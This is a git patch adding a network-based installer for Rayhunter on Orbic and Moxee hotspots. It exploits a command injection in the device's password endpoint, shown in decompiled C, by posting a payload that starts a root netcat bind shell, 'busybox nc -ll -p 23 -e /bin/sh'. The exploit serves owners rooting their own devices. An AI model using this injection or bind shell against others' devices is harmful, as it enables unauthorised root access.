From 9d736f5bf053b935609bba2cb32283d2524b26ea Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Sat, 9 Aug 2025 22:02:24 +0200 Subject: [PATCH] Add a orbic network installer There is a shell injection vulnerability after all, so we can just launch a remote shell, tplink-style. Except there's no telnetd on this device so we need to use netcat. This was found in the goahead binary on the device using Ghidra. The decompiled code for this endpoint looks like this: ```c void FUN_0003c614(int param_1) { int iVar1; undefined4 uVar2; int local_160; undefined1 auStack_15c [64]; char acStack_11c [256]; int local_1c; local_1c = __stack_chk_guard; if (param_1 == 0) { error("input parameter is NULL!"); uVar2 = 0x66; goto LAB_0003c808; } iVar1 = websGetJsonItemValue(param_1,"password",10,auStack_15c,0x40); if (iVar1 != 0) { iVar1 = get_log_level_something(); if (1 < iVar1) { some_logging_func(2,"modifying root password(%s)...",auStack_15c); } iVar1 = sprintf(acStack_11c,"echo root:\"%s\"|chpasswd",auStack_15c); acStack_11c[iVar1] = '\0'; system(acStack_11c); } ``` Usage is `./installer orbic-network`, as an alternative to `./installer orbic`. It should work on Windows without any kind of drivers. This installer also works on the Moxee device. --- doc/SUMMARY.md | 1 + doc/moxee.md | 23 ++++ doc/supported-devices.md | 1 + installer/src/main.rs | 16 +++ installer/src/orbic_network.rs | 244 +++++++++++++++++++++++++++++++++ installer/src/tmobile.rs | 20 ++- installer/src/tplink.rs | 29 ++-- installer/src/util.rs | 54 ++++++-- installer/src/wingtech.rs | 17 ++- 9 files changed, 377 insertions(+), 28 deletions(-) create mode 100644 doc/moxee.md create mode 100644 installer/src/orbic_network.rs diff --git a/doc/SUMMARY.md b/doc/SUMMARY.md index b62d88d..a8b4264 100644 --- a/doc/SUMMARY.md +++ b/doc/SUMMARY.md @@ -19,5 +19,6 @@ - [UZ801](./uz801.md) - [Wingtech CT2MHS01](./wingtech-ct2mhs01.md) - [PinePhone and PinePhone Pro](./pinephone.md) + - [Moxee Hotspot](./moxee.md) - [Support, feedback, and community](./support-feedback-community.md) - [Frequently Asked Questions](./faq.md) diff --git a/doc/moxee.md b/doc/moxee.md new file mode 100644 index 0000000..fb09c88 --- /dev/null +++ b/doc/moxee.md @@ -0,0 +1,23 @@ +# Moxee Hotspot + +Supported in Rayhunter since version 0.6.0. + +The [Moxee Hotspot](https://www.moxee.com/hotspot) is a device very similar to +the Orbic RC400L. It seems to be primarily for the US market. + +## Installation + +Connect to the hotspot's network using WiFi or USB tethering and run: + +```sh +./installer orbic-network +``` + +The installation will ask you to log into the admin UI using a custom URL. The +password for that is under the battery. + +## Obtaining a shell + +```sh +./installer util orbic-start-telnet +``` diff --git a/doc/supported-devices.md b/doc/supported-devices.md index b41f034..f5cf6d0 100644 --- a/doc/supported-devices.md +++ b/doc/supported-devices.md @@ -25,6 +25,7 @@ Rayhunter is confirmed to work on these devices. | [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East | | [PinePhone and PinePhone Pro](./pinephone.md) | Global | | [FY UZ801](./uz801.md) | Asia, Europe | +| [Moxee hotspot](./moxee.md) | Americas | ## Adding new devices Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it. diff --git a/installer/src/main.rs b/installer/src/main.rs index 5095d02..9e9637e 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -3,6 +3,7 @@ use clap::{Parser, Subcommand}; use env_logger::Env; mod orbic; +mod orbic_network; mod pinephone; mod tmobile; mod tplink; @@ -26,6 +27,10 @@ struct Args { enum Command { /// Install rayhunter on the Orbic Orbic RC400L. Orbic(InstallOrbic), + /// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network. + /// + /// This is an experimental installer for Orbic that does not require USB drivers on Windows. + OrbicNetwork(OrbicNetworkArgs), /// Install rayhunter on the TMobile TMOHS1. Tmobile(TmobileArgs), /// Install rayhunter on the Uz801. @@ -66,6 +71,13 @@ struct InstallTpLink { #[derive(Parser, Debug)] struct InstallOrbic {} +#[derive(Parser, Debug)] +struct OrbicNetworkArgs { + /// IP address for Orbic admin interface, if custom. + #[arg(long, default_value = "192.168.1.1")] + admin_ip: String, +} + #[derive(Parser, Debug)] struct InstallPinephone {} @@ -97,6 +109,8 @@ enum UtilSubCommand { PinephoneStartAdb, /// Lock the Pinephone's modem and stop adb. PinephoneStopAdb, + /// Root the Orbic and launch telnetd. + OrbicStartTelnet(OrbicNetworkArgs), /// Send a file to the TP-Link device over telnet. /// /// Before running this utility, you need to make telnet accessible with `installer util @@ -185,6 +199,7 @@ async fn run() -> Result<(), Error> { Command::Pinephone(_) => pinephone::install().await .context("Failed to install rayhunter on the Pinephone's Quectel modem")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, + Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?, Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?, Command::Util(subcommand) => match subcommand.command { UtilSubCommand::Serial(serial_cmd) => { @@ -222,6 +237,7 @@ async fn run() -> Result<(), Error> { UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?, UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?, + UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?, } } diff --git a/installer/src/orbic_network.rs b/installer/src/orbic_network.rs new file mode 100644 index 0000000..c7335ec --- /dev/null +++ b/installer/src/orbic_network.rs @@ -0,0 +1,244 @@ +use std::io::Write; +use std::net::SocketAddr; +use std::str::FromStr; +use std::time::Duration; + +use anyhow::{Context, Result, bail}; +use axum::{ + Router, + body::Body, + extract::{Request, State}, + http::uri::Uri, + response::{IntoResponse, Response}, + routing::any, +}; +use hyper::StatusCode; +use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; +use reqwest::Client; +use serde::Deserialize; +use tokio::sync::mpsc; +use tokio::time::sleep; + +use crate::util::{echo, telnet_send_command, telnet_send_file}; +use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; + +#[derive(Deserialize, Debug)] +struct ExploitResponse { + retcode: u32, +} + +pub async fn start_telnet(admin_ip: &str) -> Result<()> { + println!("Waiting for login and trying exploit... "); + login_and_exploit(admin_ip).await?; + println!("... done"); + + Ok(()) +} + +pub async fn install(admin_ip: String) -> Result<()> { + start_telnet(&admin_ip).await?; + + echo!("Waiting for telnet to become available... "); + wait_for_telnet(&admin_ip).await?; + println!("done"); + + setup_rayhunter(&admin_ip).await +} + +type HttpProxyClient = hyper_util::client::legacy::Client; + +#[derive(Clone)] +struct ProxyState { + client: HttpProxyClient, + admin_ip: String, + session_sender: mpsc::Sender, +} + +async fn proxy_handler(state: State, mut req: Request) -> Result { + // Check for existing session cookie in request + if let Some(cookie_header) = req.headers().get("cookie") + && let Ok(cookie_str) = cookie_header.to_str() + && cookie_str.contains("-goahead-session-") + { + let _ = state.session_sender.send(cookie_str.to_owned()).await; + } + + let path_query = req + .uri() + .path_and_query() + .map(|v| v.as_str()) + .unwrap_or("/"); + let uri = format!("http://{}{}", state.admin_ip, path_query); + *req.uri_mut() = Uri::try_from(uri).unwrap(); + + let response = state + .client + .request(req) + .await + .map_err(|_| StatusCode::BAD_REQUEST)?; + Ok(response.into_response()) +} + +async fn login_and_exploit(admin_ip: &str) -> Result<()> { + let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new()) + .build(HttpConnector::new()); + let (tx, mut rx) = mpsc::channel(100); + + let app = Router::new() + .route("/", any(proxy_handler)) + .route("/{*path}", any(proxy_handler)) + .with_state(ProxyState { + client, + admin_ip: admin_ip.to_owned(), + session_sender: tx, + }); + + let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") + .await + .context("Failed to bind to port 4000")?; + + println!( + "Please open http://127.0.0.1:4000 in your browser and log into the device to continue." + ); + println!("Username: admin"); + println!( + "Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery." + ); + + let handle = tokio::spawn(async move { axum::serve(listener, app).await }); + let exploit_client = Client::new(); + + let mut last_error = None; + + while let Some(cookie_header) = rx.recv().await { + match try_exploit(&exploit_client, admin_ip, &cookie_header).await { + Ok(_) => { + handle.abort(); + return Ok(()); + } + Err(e) => last_error = Some(e), + } + } + + handle.abort(); + bail!("Failed to receive session cookie, last error: {last_error:?}") +} + +async fn try_exploit(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> { + let response: ExploitResponse = client + .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip)) + .header("Content-Type", "application/json") + .header("Cookie", cookie_header) + // Original Orbic lacks telnetd (unlike other devices) + // When doing this, one needs to set prompt=None in the telnet utility functions + .body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#) + .send() + .await? + .json() + .await?; + + if response.retcode != 0 { + bail!("unexpected response: {:?}", response); + } + + Ok(()) +} + +async fn wait_for_telnet(admin_ip: &str) -> Result<()> { + let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; + + while telnet_send_command(addr, "true", "exit code 0", false) + .await + .is_err() + { + sleep(Duration::from_secs(1)).await; + } + + Ok(()) +} + +async fn setup_rayhunter(admin_ip: &str) -> Result<()> { + let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; + let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON")); + + // Remount filesystem as read-write to allow modifications + // This is really only necessary for the Moxee Hotspot + if telnet_send_command(addr, "mount -o remount,rw /dev/ubi0_0 /", "", false) + .await + .is_err() + { + telnet_send_command(addr, "mount -o remount,rw /", "", false) + .await + .context("Failed to remount filesystem as read-write")?; + } + + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?; + + telnet_send_file( + addr, + "/data/rayhunter/rayhunter-daemon", + rayhunter_daemon_bin, + false, + ) + .await?; + + telnet_send_file( + addr, + "/data/rayhunter/config.toml", + CONFIG_TOML + .replace(r#"#device = "orbic""#, r#"device = "orbic""#) + .as_bytes(), + false, + ) + .await?; + + telnet_send_file( + addr, + "/etc/init.d/rayhunter_daemon", + RAYHUNTER_DAEMON_INIT.as_bytes(), + false, + ) + .await?; + + telnet_send_file( + addr, + "/etc/init.d/misc-daemon", + include_bytes!("../../dist/scripts/misc-daemon"), + false, + ) + .await?; + + telnet_send_command( + addr, + "chmod +x /data/rayhunter/rayhunter-daemon", + "exit code 0", + false, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/rayhunter_daemon", + "exit code 0", + false, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/misc-daemon", + "exit code 0", + false, + ) + .await?; + + println!("Installation complete. Rebooting device..."); + telnet_send_command(addr, "shutdown -r -t 1 now", "", false) + .await + .ok(); + + println!( + "Device is rebooting. After it's started up again, check out the web interface at http://{}:8080", + admin_ip + ); + + Ok(()) +} diff --git a/installer/src/tmobile.rs b/installer/src/tmobile.rs index 61701b8..0fd47da 100644 --- a/installer/src/tmobile.rs +++ b/installer/src/tmobile.rs @@ -33,10 +33,10 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { echo!("Connecting via telnet to {admin_ip} ... "); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; println!("ok"); - telnet_send_command(addr, "mount -o remount,rw /", "exit code 0").await?; + telnet_send_command(addr, "mount -o remount,rw /", "exit code 0", true).await?; telnet_send_file( addr, @@ -44,6 +44,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"tmobile\"") .as_bytes(), + true, ) .await?; @@ -52,36 +53,47 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { addr, "/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin, + true, ) .await?; telnet_send_command( addr, "chmod 755 /data/rayhunter/rayhunter-daemon", "exit code 0", + true, ) .await?; telnet_send_file( addr, "/etc/init.d/misc-daemon", include_bytes!("../../dist/scripts/misc-daemon"), + true, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/misc-daemon", + "exit code 0", + true, ) .await?; - telnet_send_command(addr, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", crate::RAYHUNTER_DAEMON_INIT.as_bytes(), + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, ) .await?; println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "reboot", "exit code 0").await?; + telnet_send_command(addr, "reboot", "exit code 0", true).await?; sleep(Duration::from_secs(30)).await; echo!("Testing rayhunter ... "); diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index 4893e1d..52308c4 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -106,13 +106,13 @@ async fn tplink_run_install( if !skip_sdcard { if sdcard_path.is_empty() { - if telnet_send_command(addr, "ls /media/card", "exit code 0") + if telnet_send_command(addr, "ls /media/card", "exit code 0", true) .await .is_ok() { // TP-Link hardware less than v9.0 sdcard_path = "/media/card".to_owned(); - } else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0") + } else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0", true) .await .is_ok() { @@ -130,11 +130,12 @@ async fn tplink_run_install( addr, &format!("mount | grep -q {sdcard_path}"), "exit code 0", + true, ) .await .is_err() { - telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; } else { println!("sdcard already mounted"); } @@ -142,12 +143,13 @@ async fn tplink_run_install( // there is too little space on the internal flash to store anything, but the initrd script // expects things to be at this location - telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; - telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; + telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?; + telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?; telnet_send_command( addr, &format!("ln -sf {sdcard_path} /data/rayhunter"), "exit code 0", + true, ) .await?; @@ -157,6 +159,7 @@ async fn tplink_run_install( crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"tplink\"") .as_bytes(), + true, ) .await?; @@ -166,6 +169,7 @@ async fn tplink_run_install( addr, &format!("{sdcard_path}/rayhunter-daemon"), rayhunter_daemon_bin, + true, ) .await?; @@ -173,6 +177,7 @@ async fn tplink_run_install( addr, "/etc/init.d/rayhunter_daemon", get_rayhunter_daemon(&sdcard_path).as_bytes(), + true, ) .await?; @@ -180,12 +185,14 @@ async fn tplink_run_install( addr, &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"), "exit code 0", + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, ) .await?; @@ -193,14 +200,20 @@ async fn tplink_run_install( // startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it // is unreliable on other hardware revisions too. if is_v3 { - telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; + telnet_send_command( + addr, + "update-rc.d rayhunter_daemon defaults", + "exit code 0", + true, + ) + .await?; } println!( "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" ); - telnet_send_command(addr, "reboot", "exit code 0").await?; + telnet_send_command(addr, "reboot", "exit code 0", true).await?; Ok(()) } @@ -278,7 +291,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> { let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - while telnet_send_command(addr, "true", "exit code 0") + while telnet_send_command(addr, "true", "exit code 0", true) .await .is_err() { diff --git a/installer/src/util.rs b/installer/src/util.rs index fb5a50d..cc416c9 100644 --- a/installer/src/util.rs +++ b/installer/src/util.rs @@ -22,22 +22,32 @@ pub async fn telnet_send_command( addr: SocketAddr, command: &str, expected_output: &str, + wait_for_prompt: bool, ) -> Result<()> { let stream = TcpStream::connect(addr).await?; let (mut reader, mut writer) = stream.into_split(); - loop { - let mut next_byte = 0; - reader - .read_exact(std::slice::from_mut(&mut next_byte)) - .await?; - if next_byte == b'#' { - break; + + if wait_for_prompt { + // Wait for initial '#' prompt from telnetd + loop { + let mut next_byte = 0; + reader + .read_exact(std::slice::from_mut(&mut next_byte)) + .await?; + if next_byte == b'#' { + break; + } } } + writer.write_all(command.as_bytes()).await?; - writer.write_all(b"; echo exit code $?\r\n").await?; + // by quoting the 'exit' here, we ensure that we do not read our own command line back as + // "output" before we even hit enter, but the actual result of executing the echo. + writer + .write_all(b"; echo command done, 'exit' code $?\r\n") + .await?; let mut read_buf = Vec::new(); - let _ = timeout(Duration::from_secs(5), async { + let _ = timeout(Duration::from_secs(10), async { let mut buf = [0; 4096]; loop { let Ok(bytes_read) = reader.read(&mut buf).await else { @@ -48,7 +58,12 @@ pub async fn telnet_send_command( continue; } read_buf.extend(bytes); - if read_buf.ends_with(b"/ # ") { + + // when we see this string we know the command is done and can terminate. + // even if we sent command; exit, certain "telnet-like" shells (like nc contraptions) + // may not terminate the connection appropriately on their own. + let response = String::from_utf8_lossy(&read_buf); + if response.contains("command done, exit code ") { break; } } @@ -61,12 +76,23 @@ pub async fn telnet_send_command( Ok(()) } -pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> { +pub async fn telnet_send_file( + addr: SocketAddr, + filename: &str, + payload: &[u8], + wait_for_prompt: bool, +) -> Result<()> { echo!("Sending file {filename} ... "); { let filename = filename.to_owned(); let handle = tokio::spawn(async move { - telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await + telnet_send_command( + addr, + &format!("nc -l -p 8081 >{filename}.tmp"), + "", + wait_for_prompt, + ) + .await }); sleep(Duration::from_millis(100)).await; let mut addr = addr; @@ -85,12 +111,14 @@ pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) addr, &format!("md5sum {filename}.tmp"), &format!("{checksum:x} {filename}.tmp"), + wait_for_prompt, ) .await?; telnet_send_command( addr, &format!("mv {filename}.tmp {filename}"), "exit code 0", + wait_for_prompt, ) .await?; println!("ok"); @@ -105,7 +133,7 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R let addr = SocketAddr::from_str(&format!("{admin_ip}:23")) .with_context(|| format!("Invalid IP address: {admin_ip}"))?; - telnet_send_file(addr, remote_path, &file_content) + telnet_send_file(addr, remote_path, &file_content, true) .await .with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?; diff --git a/installer/src/wingtech.rs b/installer/src/wingtech.rs index 8e5b947..f341144 100644 --- a/installer/src/wingtech.rs +++ b/installer/src/wingtech.rs @@ -95,7 +95,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul echo!("Connecting via telnet to {admin_ip} ... "); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; println!("ok"); telnet_send_file( @@ -104,6 +104,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"wingtech\"") .as_bytes(), + true, ) .await?; @@ -112,30 +113,40 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul addr, "/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin, + true, ) .await?; telnet_send_command( addr, "chmod 755 /data/rayhunter/rayhunter-daemon", "exit code 0", + true, ) .await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", crate::RAYHUNTER_DAEMON_INIT.as_bytes(), + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, + ) + .await?; + telnet_send_command( + addr, + "update-rc.d rayhunter_daemon defaults", + "exit code 0", + true, ) .await?; - telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0").await?; + telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?; sleep(Duration::from_secs(30)).await; echo!("Testing rayhunter ... ");